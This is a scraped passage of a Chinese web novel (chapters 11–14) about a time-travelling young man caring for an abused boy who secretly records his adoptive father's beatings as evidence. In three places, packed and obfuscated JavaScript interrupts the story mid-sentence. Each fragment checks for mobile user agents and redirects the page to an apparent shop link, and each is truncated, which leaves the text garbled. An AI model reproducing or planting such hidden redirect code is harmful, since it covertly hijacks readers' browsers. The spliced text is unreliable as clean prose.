让这话一扎,虞守的脸颊瞬间就烧了起来。 他想解释上次缺考不是故意的,想说自己其实会做那些题,可在明浔面前,他越急越说不出,憋了半天,只艰难地挤出一声:“我……” “我知道。”明浔打断了,简简单单三个字,没说知道了什么,但虞守悬着的心,因这简单的两个字,缓缓地落到了柔软的棉花里。 期中考试当天,虞守郑重地捏着一支笔,脑子里全是明浔说“不准再考零分”的语气,以及明浔教他的——“要在对方最引以为傲的地方狠狠打击他,一击必杀。” 陈文龙最引以为傲的地方……他当然是再清楚不过的。 他摊开卷子,摘开笔帽,笔尖流畅地划过纸张。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712394|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 过了个快马加鞭批阅试卷的周末,班主任拿着最新的成绩单快步走进教室,满面春风。 “这次期中考试,我们班有同学进步神速,更是取得了全年级第一的好成绩!”她故意停顿了一下,吊足了所有人的胃口,才高声宣布,“他就是——虞守!” “哇——”教室里瞬间炸开了锅,或惊愕,或震惊,或好奇。 怎么可能!? 陈文龙双目圆睁,差点失声低吼了出来。 王子阔则是一巴掌拍在自己大腿上,扭头对着虞守竖起大拇指,咧开嘴笑得比自己考了第一还开心:“行啊你!虞守!深藏不露啊!” 虞守在一片喧哗中,依旧低着头。 放学铃响,虞守顺利地离开学校去找明浔,迫不及待地想要报喜。但他考了第一,一路上竟然没遇到陈文龙和他表哥找麻烦。 陈文龙最后一个才走出校门,磨磨蹭蹭地回到家,迎头又是父亲劈头盖脸的质问。 “听说你们年级第一是虞守?那个没爹没妈的小混混?!”陈父的声音震得窗户仿佛都在响,“你知道我们为了你,付出了多少吗?你就是这样回报我们的?上次作弊这次干脆……我都不想说你了。你太让爸爸妈妈失望了。” 陈文龙紧咬着下唇,几乎要咬出血来。 当晚附近的小巷子里,表哥看他耷拉着脑袋一副生不如死的模样,便掏出皱巴巴的烟盒,递过去一根:“正宗好东西,我冒着生命危险从我老子哪里偷的。来,尝尝,抽一口啥烦心事都没了!” 陈文龙毫不犹豫地接过烟,点上火,刚吸了一口,立刻就被辛辣的烟雾呛得弯下腰,剧烈地咳嗽起来。 “慢点慢点!”表哥拍着他的背,边吐了个个烟圈做示范,结果自己也呛着了,顿时小巷子里咳嗽声撕心裂肺、此起彼伏。 不远处,崔霖像幽灵一样隐在墙角,偷听了一切。随后他悄无声息地离开巷口,快步走向某个依然亮着灯的街角。 虞守正在“小明煎饼”摊旁帮忙收拾凳子。崔霖小跑过去,脸上堆起一个怯怯的笑:“虞守,那个……陈文龙在那边巷子里,很伤心的样子,他在要找你……说是有话要跟你当面说清楚。” 虞守擦凳子的动作一顿,迎上崔霖闪烁不定的眼神,心中立刻明白这是个陷阱,但如果真能从陈文龙嘴中得到需要的信息,倒也不坏。 他回头看了看还在忙碌的明浔,没出声去打扰,便独自朝着那条昏暗的巷子走去。 虞守完蛋了。巷子里不但有一群六年级生,还有正在气头上的陈文龙本人。 见他入套,崔霖忙转过身,藏在阴影里的脸露出一个得逞的笑容。 巷子里,陈文龙正烦躁地用鞋尖碾着地上的烟头。猝然看到不请自来的虞守,他愣了一下,随即语气很冲地问:“你来干什么?炫耀吗?妈的,你肯定爽死了吧!?” 虞守只是静静地看着他,不说话。这沉默的注视更像是一种挑衅,彻底点燃了陈文龙积压的怒火。 就在陈文龙捏紧拳头往前冲时,王子阔不知从哪儿钻了出来,他和虞守约好想过来蹭个煎饼,结果看到这场景,顿时火冒三丈:“陈文龙!你他妈又找事?!”说着就挡到了虞守面前,一把推开陈文龙。 “王子阔你他妈有病吧!关你屁事!”陈文龙猝不及防被推得踉跄,稳了稳身体,抡起拳头就砸了过去。两人立刻扭打在一起,骂声和拳头撞击身体的闷响在狭窄的巷道里回荡。 虞守皱了皱眉,事情的发展有点超出他的预计……沉默旁观的时候,他不忘分出一只耳朵,那由远及近的熟悉的脚步声……是明浔收摊过来了。 他依然没能弄清楚陈文龙为什么要找自己麻烦,而这群人现在全在气头上,毫无理智打得难舍难分,等哥哥过来,说不定会以为自己参与群架,觉得自己是个坏孩子而露出失望的眼神…… 看准王子阔一个挥拳的间隙,虞守直接插到两人中间:“别、别打了!” 王子阔根本没料到这一出,挥出的手肘收势不及,从虞守的额角擦了过去。 虞守吃痛,顺势向后踉跄两步,用手紧紧捂住了被撞到的地方。睫毛耷拉下来,被昏黄路灯打落一片脆弱的阴影。 明浔刚好走到巷口,看到的就是这么一幕——虞守捂着额头,眼眶泛红,弱小又可怜地站在扭打的两人旁边。 他心头重重一跳,忙快步上前,弯下腰,用力地拉开虞守捂着额头的手。他一时心急没收着力,虞守被他拽得晃了一下,那样单薄虚弱,更显得可怜。 他的目光凝注在虞守前额的血痕,眉头深深蹙起。 好,很好。 又受伤了,又伤到脸了。 说好的未来大反派呢?怎么有了自己的教导和陪伴,这小崽子还能被人轻易欺负了去!? 他胸口起伏几下,勉强说服了自己不要和那群小屁孩儿动粗,表情却实在控制不住,当即一个眼刀射向鼻青脸肿的王子阔和陈文龙:“都给我滚!” 12. 第 12 章 明浔牵着虞守的手,安静地走过一盏又一盏回家的路灯。 虞守的手很小,有点凉,安静地蜷在明浔温热的掌心里。明浔边走边低头跟他说着话:“晚上想吃什么?” 那语气虽然缓和,虞守却直觉像是强压着怒意。 对上那双平静的眼睛时,更有一股无端的慌乱油然而生,他揉揉脸颊,指尖蹭过那点新鲜的擦伤:“对……不起。” “嗯?”明浔瞬间变得严肃,冷声问,“对不起什么?” 被凶了,虞守心里反倒松了松,忙把他的手握紧,仰着那张可怜兮兮的小脸,坦然认错:“我不该,打架。” “打架?你?”明浔差点被气笑,“难道不是他们单方面欺负你?还那么多人欺负你一个!” 虞守眼睫颤了颤,小小声:“……嗯。” 又可怜又乖。 明浔直接破功,摸摸他的头,温热的掌心带着安抚的力道,话声也放缓了:“你是错了,但错在鲁莽冒险,不自量力。如果你是听到那边有声音,或者是有谁叫你过去,你都应该先告诉我,告诉你的哥哥。” 说罢,明浔冷不丁松开手,在虞守那恐慌的仿佛怕被抛弃的眼神里,他只是无奈一笑,蹲下身,熟练地从口袋里掏出一个创可贴,贴住虞守额角那个小小的擦伤。 两人聊着,刚好一个提着菜的妇女与他们擦肩而过。是老匡家收养的那个崽子?那妇女下意识多看了两眼,尤其是明浔那张让人过目不忘的俊朗面庞。 次日下午,这妇女在烟雾缭绕的棋牌室里,一边摸牌一边对坐在对面的虞守养母随口提起:“王姐,我昨儿晚上看见你家那个小的了,跟个挺俊的男的在一起,往东头那边去了,两人看着还挺熟。” 养母正为手气不好输钱烦躁,“啪”地打出一张牌,没好气地说:“那小讨债鬼爱上哪儿上哪儿,少一张嘴吃饭,我还省心了呢!” 另一个牌友接过话头:“哎呀,现在这政策好像是鼓励个体户,我听说啊,在街边摆个摊,做得好的比咱们在厂里三班倒挣得还多哩!” 最先开口的妇女像是突然想起什么,补充道:“对了,王姐,跟虞守在一起那男的,就在前头街口摆了个煎饼摊,生意看着还行。” 养母刚又点了一炮,心情恶劣到极点,听到这话,混浊的眼睛猛地一亮:“煎饼摊?呵,有钱养别人家的孩子,没钱孝敬孝敬我这个正牌家长?” 翌日傍晚的夕阳暖融融的,“小明煎饼”摊前却骤然阴云密布。 明浔刚给一位顾客打包好煎饼,虞守拿着小抹布到处擦拭,准备收摊回家。就这时,一个烫着波浪卷的女人气势汹汹地冲了过来,正是虞守的养母。 “好哇!我说最近怎么老往外跑,找都找不见人影,原来是给你在这儿当牛做马了!”女人尖利刺耳的声音瞬间吸引了所有路人的目光,她指着明浔,大声控诉,“你胆子不小啊!光天化日敢雇佣童工?信不信我这就去派出所告你!让你这破摊子开不下去!” 明浔被这颠倒黑白的指控直接气笑了。他不急不慌地拿起旁边一块半旧的毛巾,慢条斯理地擦了擦手,然后才抬起眼。 “雇佣童工?”他语调上扬,慢悠悠道,“这位大姐,你眼睛可得擦亮了,”他指了指安静站在一旁的虞守,“我,一分钱都没给过他。他是来给我义务劳动的,还是戴罪立功,你搞清楚。” 女人一下子怔住了,气势矮了半截:“……什、什么?” “不止没给钱,”明浔侧过身,手指点在摊车侧面一块修补过的地方,“看见没?这痕迹。上次他莽莽撞撞,把我这吃饭的家伙给撞坏了,修理费还没跟他算呢。要不,大姐你先帮他把这钱赔了?” 女人被反将一军,噎得满脸通红,突然眼珠贼溜溜地一转,改变策略,直接去拽虞守的胳膊:“行!就算不是雇工!那他在这儿帮你干活总是事实吧?不能白干!你得出工钱!要么现在给钱,要么我立刻带他走!我看你就是拐带小孩!” 虞守在她伸手的瞬间就敏捷地往后一缩,灵活地躲开了她的拉扯,紧紧挨着明浔站定,瘦小的身体贴住明浔的腿,用沉默却坚定的行动表明了自己的立场。 明浔眉头微蹙,手下意识往放钱的抽屉方向动了一下,想着破财免灾。但虞守立刻察觉了他的意图,仰头看着他用力摇了摇头。 明浔动作停住。 虞守转而看向自己养母:“那我,跟你,回去。” 说完,他竟真的把抹布放回原处,看也不看两个大人,低着头就自顾自地朝着那个令人窒息的“家”的方向走去。 女人目瞪口呆,没想到没占到半点便宜,还把这个她恨不得甩出去的拖油瓶真收回来了! 明浔眉头紧皱,三两步追过去把小崽子拉了回来:“站住!我准你走了?”他不知道小崽子打着什么鬼主意,只好先对那女人先抛出权宜之计,“他的债还没还清,明天再说。” 回到明浔那个两居室,气氛比昨晚更加沉闷。虞守默默放下书包,目光扫过电视机柜,那里放着一个黑色磁带收录机,是明浔当初布置这个家时随手买来的道具。 虞守走过去,摸了摸收录机冰凉的塑料外壳,然后抬头看向明浔,眼神询问。 明浔正倒了杯水,瞥见他的动作,随口道:“怎么,想要?那你拿去吧,反正放着也是落灰。”他以为这只是小孩子对新奇玩意儿的好奇,浑不在意地就送了出去。 虞守紧紧抱住了那个收录机,用力摇了摇头,又点了点头,最后还乖乖说了声:“……谢谢。” 小崽子乖得古怪,但明浔也没多想,毕竟他多少掌握了一点上帝视角,清楚剧情的走向不会出现太大的偏差。目前的燃眉之急,还得是虞守那个贪婪又蛮横的养母。 所幸次日是周末,明浔琢磨着干脆不出摊了,让那女人没处纠缠去。虞守却背着许久没用的旧书包,一副要出门的样子,还乖乖对他交代:“学校……补课。” 小崽子心里主意多,明浔纵然不太放心,也只能沉声叮嘱:“早点回来。” “嗯。” 虞守背着书包里沉甸甸的收录机,目的地自然不是学校,而是那个在噩梦里不断纠缠着他的……“家”。 这次带着收录机过来,他的目的很明确,却也危险。他要录下证据,录下养父的暴行和那些不堪入耳的污言秽语。 他推开那扇虚掩着的门。养父正坐在茶几边,就着一碟花生米喝散装白酒,看到他回来,先是难以置信地愣了一下,随即暴怒地站起身,抬手就朝他扇过来:“小兔崽子!你他妈还敢回来?!翅膀硬了是吧?!” 虞守早有准备,敏捷地侧身躲开,同时手指在藏在包里的收录机上摸索着,按下了录音键。 养父一下没打到,又想起上次被反咬一口的屈辱,顿时怒不可遏,污言秽语如同脏水般泼洒出来,诅咒虞守,辱骂他的生父生母,言辞恶毒不堪入耳。 虞守冷静地听着,直到养父骂得气喘吁吁,他才抬起眼,平静地反问了一句:“你,骂谁?”声音很轻,却是让人一听就恼火的挑衅语气。 养父想也没想就咆哮着跳进了陷阱:“骂的就是你!你这个姓虞的小杂种!杀人犯生的坏种!吃里扒外的小白眼狼!老子养条狗都比你知道感恩!……” 他一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712395|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍重复着虞守的名字,用最恶毒的语言攻击着他的出身。收录机里的磁带无声地转动,默默记录下这一切。 接下来的时间,虞守不再躲闪,甚至偶尔抬眼用那倔强不屑的眼神故意激怒对方。 拳头和脚踢落在身上,发出沉闷的响声,他咬着牙闷哼,始终护着包里的收录机。他不断地引导,让养父在施暴时喊出他的名字,坐实身份。 傍晚,天边是血一般的鲜红色。 明浔正皱着眉站在厨房里,查看了好几次时间。直到一阵微弱得几乎听不见的敲门声,隐隐约约地传过来。 他赶紧走到门边,低声问:“谁?” 门外没有回应,只有细微的小动物濒死般的喘息。 明浔心头一紧,迅速拉开门栓。看清门外的景象的刹那,他浑身血液倒流。 血腥味扑鼻而来。 男孩小小的身子蜷缩在门口冰凉的水泥地上,肉眼可以看到的皮肤,脸颊、脖颈、手腕……全是青青紫紫纵横交错的伤痕。 他听到开门声,很缓慢地抬起了头,那双向来倔强的眼睛此时也是肿的,视线有些对不上焦,嘴角红肿破裂,整个人奄奄一息。 然而,那个被旧书包裹的旧收录机依然被他死死抱在怀里,仿佛是什么他的命还重要的东西。 明浔的怒火“腾”地一下直冲头顶,差点失去理智。他深吸一口气,强迫自己冷静下来,弯下腰,克制住颤抖,尽量轻柔地将虞守打横抱了起来。 这是他养了好些天的小崽子,却依然轻得吓人,抱在怀里几乎感觉不到什么分量,像一具没生命的骨架。 他沉默地抱着人进屋,开门,将虞守放到自己那张更大的双人床上。 他一步三回头地望向床上蜷缩的身影,最终还是咬了咬牙,快步走出房间。没过多久,他便端着一盆温水回来,水里浸着一条干净的毛巾。 床上的虞守双目紧闭,呼吸轻得几乎听不见。明浔伸出手指,小心翼翼地探向虞守颈侧的脉搏,感受到那微弱但持续的跳动后,紧绷的心弦才稍稍松弛。他拧干毛巾,开始轻柔地擦拭虞守脸上的血污与尘土。 家里常备着刺激性小的碘伏,可当棉签真正触碰到那些皮开肉绽的伤口时,昏睡中的虞守还是本能地蹙紧了眉头。他死死咬住下唇,本能地将痛呼憋在喉咙深处,只溢出几声微不可闻的抽气。 夜半时分,一阵压抑的哼唧声将浅眠明浔惊醒。他立刻睁开眼,下床拍亮白炽灯。 只见被子里的虞守满头大汗,脸颊上两团病态的红,嘴唇很干,断断续续地吐出模糊不清的呓语。 “哥哥……” 明浔似乎听到他在叫自己,忙快步上前给予回应:“怎么了?” 虞守依旧昏昏沉沉。 “虞守?” “……” “小孩儿?” 这都没反应。 明浔忙伸手一探,顿时心头一紧。 发烧了,是用手都能测出来的高温。 “虞守?还清醒吗?” “……” “虞守。” 几声下来,连点含糊的回应都没了。 明浔从没带过孩子,更不清楚一场高烧对小孩儿来说能有多凶险。 他甚至没想起自己少年时期独自挨过病痛的那些日夜,只是被某种本能驱使着,冷静地用薄被将虞守裹起,再将他转移到自己背上,同时小心地调整姿势,避开那些伤口,勾紧虞守的腿弯便冲出了家门。 沉沉夜色里,极速倒退的秋风刀子似的割着他的脸,背上那个小生命微弱的呼吸,成了此刻世界里唯一的声音。 13. 第 13 章 深秋的夜风已然带上了凛冽的寒意,肆无忌惮地扫荡着空旷的街道。 明浔出门时随手抓了那顶渔夫帽挡风,凛风让他的嗓子发干发疼,帽檐下的头发却被汗水打湿。 他背着虞守,在错综复杂的暗巷里狂奔,目光一次次扫过两旁紧闭的店铺和黑黢黢的居民楼,寻找着任何可能亮着红十字灯的诊所或医院。 2002年的蓉城,黑暗会在每天晚上九点准时降临大大小小的商业街。 到了凌晨,整座城市都将被彻底的黑暗和死寂吞没,连明浔记忆里那些半夜三更呼啸着扰民的飙车党也没一个。 “该死的……到底在哪儿?” 这是个让后来者怀念的,经济飞速发展、国家腾达飞黄的年代,而身处于其中的种种不便,都被那些怀念无所谓地抹去了。 非智能手机除了打电话发短信玩贪吃蛇,别无他用,更没有智能导航。他低着腰防止虞守滑落,艰难地分出一只手拿着那个黑色的按键手机,像握着一块无用的砖。 白天的蓉城对他而言都是陌生的,到了夜半,每条巷子更是幻化出了一模一样的形貌,就像在噩梦中陷入鬼打墙一样绝望。 突然,一个熟悉的声音在脑海中响起:“前行至第二个路口右转,再直行约三百米,左侧有一家‘李氏诊所’,接待夜间应诊!” 是系统! 明浔如梦初醒般看了眼追上来的黑猫,如同被一道黑色闪电劈醒了。 真是关心则乱……不关心也乱。 稳了稳背后轻飘飘的小身体,明浔再次迈开脚步,朝着系统指示的方向发足狂奔。 夜风更大了,吹得他帽檐乱晃。忽而一阵强风卷过,他头上那顶鸭舌帽被猛地掀飞,翻滚着落在身后几步远的地上。 失去了帽子的遮挡,冷风瞬间灌满他的头发,头皮一阵发麻,未干的汗水带来刺骨的冰凉。 他托着虞守腿弯的手紧了紧,小家伙的小腿伶仃得仿佛一折就断。 他并未犹豫,只看了那帽子一眼,便毫不犹豫地继续向前奔去。 “左转,诊所就在前方。”系统的提示再次响起。 明浔直接用胳膊撞开那扇挂着半旧白色门帘的玻璃门。 诊所里灯光不算明亮,一个戴着老花眼镜的医生正靠在椅子上打盹,被突如其来的响动吓得一个激灵,睡眼惺忪地看了过来。 “医生!这孩子发烧了,身上还有伤……” 老医生彻底惊醒,他扶着眼镜颤巍巍走了过来,看清明浔背上那个脸色潮红的孩子,像是老树逢春般突然年轻了二十岁。他脊背完全挺直了,声音洪亮:“快,放到这边床上!轻点轻点!” 量体温、检查伤势、听诊、上药…… 窄小的诊疗床上对虞守来说都很大。他瘦骨嶙峋的手背上扎上了输液的针头,明浔甚至能从突出的静脉清楚看到药液流过的痕迹。 直到此刻,他的神经才稍微松弛,紧绷的肩头疲倦地垮下,坐到凳子上时感觉自己能立刻昏死过去。但他只是坐着,目光片刻不离地看着虞守。 等待虞守清醒的时间里,明浔总算用上了兜里的废物搬砖。 110,报警。 他冷静且言简意赅地说明情况,未成年小孩遭受长期家庭暴力,伤得快死了,正在某诊所接受急诊。 其实就算虞守不这样做,不去以身试险,根据原著剧情,妇联很快会协同警方一起介入,剥夺那对屡教不改的养父母的监护权,将他送回福利院。 早在虞守刚被领养那会儿,妇联的人就是虞守养家的常客了,但每次都是不痛不痒的警告、批评改正,根本无法撼动那对夫妇,也无法将虞守从泥潭中拉出来。 接连几次的失望让虞守选择了闭口不言。当调解员再来时,他什么也不说,于是,他就这样怨愤却又固执地,在那个地狱里硬生生熬了两年。 而现在…… 那个被明浔留在客厅,被虞守死死抱着带回来的收录机……不用想也知道里面录了什么。 这个突然间变得过于“积极主动”的小反派,竟然选择主动去记录施暴者的罪行,甚至可能故意激怒对方,引火烧身,只为拿到那确凿的证据。 怎么会有这么倔、这么不惜命的小孩? 说他聪明吧,他却用了这种杀敌一千自损八百的笨办法;说他笨吧,他并非冲动行事而是精心谋划,最后还真能把问题提前解决了。 吊瓶里的药液一点点减少,虞守紧拧的眉头缓缓舒展开,脸上那种异常的红晕也淡化了。 发烧就是这样,高热完又是极度的冷,男孩小小的身体不住地一直抖动。 特别是那只正在输液的手,不安地张开又缩紧,还试着把手腕转过来用床单搓掉针头。 明浔侧身坐到床边,想了想,先按住虞守的手,再托着虞守让他枕到自己腿上,这样能躺得更舒服点,也更加暖和。 他轻轻抚摸着虞守柔软的湿发,另一只手则伸过去,掌心盖住虞守正在输液的手,用自己的体温减少葡萄糖的寒意。 虞守就是在这样一种前所未有的温暖中迷迷糊糊醒来的。 枕着的腿结实而安稳,抚摸头发的手轻柔,连那只扎着针的冰凉的右手,也被一股源源不断的暖意包裹着。 这温暖太陌生,太让人贪恋,让他甚至不愿睁开眼睛,只想一直沉溺在梦境中…… 察觉到腿上传来的细微动静,明浔低下头,刚好对上虞守悄悄睁开一线、正头偷看着自己的眼睛。 四目相对,明浔抿着唇一语不发。 按理说,他应该把这不知死活的小崽子狠狠骂一顿,让他长长记性,让他以后再也不敢用这种自残的方式解决问题。可看着那双因为高烧而湿润、带着点点怯意和依赖的眼睛,所有责备的话都卡在了喉咙里。 系统的声音传来:“宿主不必过于担忧。虞守作为本世界头号反派,生存能力和心智都远超常人。即便没有您的介入,他最终也能凭借自身手段摆脱困境,顺利进入重点高中,并逐步建立起他的商业帝国。只是……那条路会更加阴暗和孤独。” “但我来了。”明浔只回了四个字。 是啊,他来了。 哪怕有他在,一个有能力提供保护和依靠的成年人,虞守还是选择了独自面对,用伤害自己的方式去解决问题!是为了不给他添麻烦吗? 想到这里,明浔心头更是无名火起。这不知死活的浑小子!难道不知道这样只会让他更麻烦吗?! 这股无处发泄的憋闷最终化作行动。他伸出两根手指,掐住了虞守的脸颊——小崽子也就这里有点肉——然后轻轻掐了一把。 “唔……”虞守彻底清醒过来。他瞪着一双因为满是热雾而更显黑亮的眼睛,发慌地看着明浔,不明白他为什么突然“动手”。 这算是……“打”吗?可虞守的大脑里完全没有这种储备,更不知道改如何应对。 “大半夜的发烧,把我吓得不轻,半夜背着你满大街找医院。现在还得在这里陪你吊水,累死我了。”明浔咬牙,“我对你那么好,你就是这么报答我的?嗯?把自己搞成这副样子?” 虞守抿紧苍白的嘴唇,垂下眼帘。 那小样子倔强得很,既不认错,也不辩解,看得人更是恼火。 明浔恼火的同时又哭笑不得。 “臭小子。” …… 诊所的门帘再次被掀开,带进一股秋夜特有的冷肃。 两位穿着制服的男警官走了进来,年长些的那位走到床边,从吊瓶慢慢审视到明浔和他怀里昏沉的虞守,几秒才开口:“同志,我们是附近派出所的。接到报警电话,来了解情况。孩子现在怎么样?” 明浔:“刚退烧,睡着了。” 警官点了点头,拿出记录本:“我们需要带你和孩子回所里一趟,详细做个笔录,这也是取证的必要流程。”他看了一眼虞守手背上的针头,又问那老医生,“方便的话跟我们走一趟?确保孩子的情况。” 明浔眉头微拧:“他刚稳定些,不能在这儿问吗?” 年轻的警官走过来解释道:“我们理解你的心情,但有些程序需要按规定在所里完成,也是为了尽快把事情弄清楚……开车过去,很近的。我帮你?” 明浔思考几秒,只让殷勤的年轻警官帮忙拿吊瓶,自己俯下身,手臂穿过虞守的两边腿弯,动作轻柔地将他整个抱离了诊疗床。 虞守无意识地哼了一声,小脑袋本能地往温热的胸膛里钻了钻。明浔顺势调整了一下手臂,让虞守的脸颊完全埋在自己胸口,手掌也盖在他后脑,隔绝户外的冷空气。 年长的警官上替他们掀开厚重的门帘。在明浔抱着孩子与他擦肩而过时,警官的目光不经意地扫过明浔那张疲惫却依旧俊美的侧脸,又落在他怀中那瘦弱可怜的孩子身上。 这一大一小,明明看起来像是两个世界的人,此时却以一种异常亲密和保护的姿态联系在一起…… 派出所里,值班室的灯光是刺眼的白。明浔被抱着虞守进入一间询问室,坐在硬邦邦的金属椅子上,虞守依然在他怀里安稳地睡着。 一位女警端来一杯温水,看向虞守的眼神充满了怜惜。但做笔录的还是那位年长警官,他坐在对面,打开记录本,一丝不苟且语气冷硬地问:“你的姓名?和这孩子什么关系?” “李明。”明浔报上化名,“我就是个路人。” 警官执笔的手一顿,眼神警惕:“路人?” 明浔适时地露出带着点无奈又无懈可击的礼貌笑容,从从容容地解释:“警官,我在他们那片街口摆了个煎饼摊,知道这孩子总被他养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712396|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父母打骂出气,还经常饿肚子,挺可怜的,就偶尔给他点吃的。傍晚我听到声音出去,看到他倒在我家门口,浑身是伤,我就收留了他。半夜他突然发起高烧,我总不能见死不救吧?就赶紧送诊所了。” 他这番说辞晓之以理,动之以情。表情坦然,那副纯良无害的皮囊也极具迷惑性。 警官紧绷的身体缓缓靠回椅背:“哦,原来是这样。你还真是个热心路人。”他甚至带着点疲惫的笑开了个玩笑,“要是社会上能多一点你这样的‘路人’,我们的工作都不知道要轻松多少。” 明浔微微颔首:“是我们给您添麻烦了,这大半夜的,还劳烦您们跑一趟,实在不好意思。” 这话说得熨贴,精准戳中被夜班搓磨的肺管子。警官脸上的疲惫似乎都被这通情达理的话语抚平了几分,他叹口气,目光终于落到昏睡的虞守身上:“哎,这孩子也是真可怜……摊上那样的家……作孽啊。” 笔录做完,天边的浓黑分毫未减。由于虞守受伤需要休息,履行完必要程序后他们便被允许离开。 明浔维持着不变的姿势抱着虞守,搭上那警官以私人名义开的便车回了家。 凌晨五点,虞守的睫毛颤动了几下,眼睛缓缓睁开。 入眼不是诊所冰冷的天花板,也不是那个充满了暴力与谩骂的“家”,而是……一个陌生而整洁的卧室。 但空气里弥漫着淡淡的、熟悉的桂花沐浴露香味…… 他足足愣了好几秒,猛地反应过来——这是哥哥的房间! 是那个这段日子以来,在这套两居室里,他唯一未曾涉足却最为渴望的禁地。 虞守的眼睛瞬间瞪圆了,他艰难地用一条胳膊支起还在发疼的身子,探长脖子左右环顾。 房间简单得堪称简陋,只有他睡着的这张床,一个关着门的衣柜,一张空书桌,墙壁雪白,没有任何多余的装饰。 这和他那间精心布置过的、充满“童趣”的房间完全不同。唯一显得有些突兀的,是床上空着的另一边,床头端坐着一只看起来很蠢的毛绒哈士奇玩偶。 他的床头也有一只棕熊玩偶,第一次住进来那天就在了。虽然那只熊并没有挤占他的活动空间,但他一直想把那只熊扔到床底下,或者窗外之类一劳永逸的位置…… 此时他盯着那只和哥哥同床共枕的哈士奇,郁闷地出神良久。突然,他像是被电击了一样,一个咕噜弹起来。 收录机! 他差点喊出声,但干渴的喉咙只能发出虚弱的气音。 他再顾不上身体的酸痛和虚弱,翻身下床,脚步虚浮又踉跄。 这时房门被推开。明浔走了进来,一眼就看到虞守狼狈地扒着床沿,小脸急得通红。 “找这个?”明浔晃了晃手里那个黑色的收录机。 虞守眼睛一亮,跌跌撞撞地着扑过去,他颤抖着接过收录机,按下播放键。 磁带“滋啦”地转动起来。 里面断断续续地传出男人狂暴的吼叫、污言秽语,以及拳头落在肢体上的闷响,还有压抑的痛哼……可录音效果并不好,时断时续,夹杂着许多杂音。 他大声叫出养父名字的那一声,因为距离遥远,模糊得完全听不出原貌。 这……还能当作证据吗? 虞守听着听着,眼圈红了,额头上也冒出了虚汗,完全没有意识到站在身边的青年始终沉默着。 终于,他走投无路地望向沉默的明浔:“交、交……交给……” 他本就结巴,此时更是急得语不成句。 明浔心里五味杂陈。 他心说不用这个,昨晚的虞守和医生出具的验伤报告,已经铁证如山。 但他心里百转千回,嘴上什么也没说,只弯腰抽走了收录机,对着虞守点了点头:“好。” 如释重负的瞬间,虞守突然又踉跄了一下。 明浔将他扶住,摸了摸他汗湿的黏在额角的黑发,语气很轻:“去睡吧。继续睡会儿,天还没大亮。” 虞守强撑的精神气彻底泄了,排山倒海的疲惫牵引着他爬回床上,钻进充满桂花香味的被子里。 浴室里只有那一瓶桂花味的沐浴露,他和明浔共用,可他就是觉得这张床不一样,哪哪都不一样,更香,也更暖和…… 他嗅着那安心的味道,沾上枕头就睡了。 明浔将收录机拿出去,收进厨房高处虞守碰不到的柜子里。 然后他轻手轻脚地回到卧室,在床边坐下,伸手抚过虞守的前额和柔软的头发。 窗外,天色将明。 “睡吧,马上……一切就要结束了。”明浔眺望着那遥不可及的天际线,低声喃喃。 一切糟心的事都会画上句点,像朝阳吞没黑暗般势不可挡,裹着他一起,从虞守的生命里远去。 14. 第 14 章 周一清晨,阳光穿透秋日的薄雾,洒在喧闹的校园里。孩子们像一群群欢快的叽叽喳喳的小麻雀,穿着统一的校服,红领巾在胸前飘扬。 虞守安静地坐在自己的座位上,碎发遮住眉骨几道已经结痂的血痕,但下巴、颧骨处大片的青紫色淤伤依然清晰可见,在一众阳光灿烂的祖国小花朵里面显得触目惊心。 一个周末没见,王子阔冲进教室把书包一甩,习惯性地扭头想跟虞守说点什么,兴奋的目光却直接触及了虞守脸上新增的、比上周五严重得多的伤痕。 “我……靠……”王子阔低低抽口气,手指在空气中一通乱指,“你……你这……这,怎么搞的?跟我没关系吧……” 虽然以前的虞守也经常鼻青脸肿地来上学,但那时他和虞守不熟,对虞守的印象只有别人描述的那个阴郁孤僻小白眼狼。然而今非昔比,那所谓的“小白眼狼”,可是全班唯一一个会主动向他道歉、送他零食吃的人呢! 上周五他在小巷子里揍陈文龙被拉架,他感觉自己不小心撞到了虞守的脸颊,但他慌慌张张的什么也没看清,虞守就捂着脸被那煎饼摊主牵走了…… 愧疚感顿时汹涌如潮,他笨拙地在书包里翻找,将一盒被压扁的纯牛奶塞到虞守面前,瓮声瓮气:“给你吧。我……我妈非让我带的,我不吃了,我要减肥。” 虞守抬起眼皮,只看着一脸无措的王子阔,沉默着一动不动。 漫长而难捱的数秒寂静后。 “王子阔。”虞守的声音还带着重伤初愈的哑。 “啊?在!”王子阔受宠若惊地应道。 虞守斟酌着用词,语速很慢,尽量将每个字都说清晰:“你家……是不是,有人,在民政局,上班?” 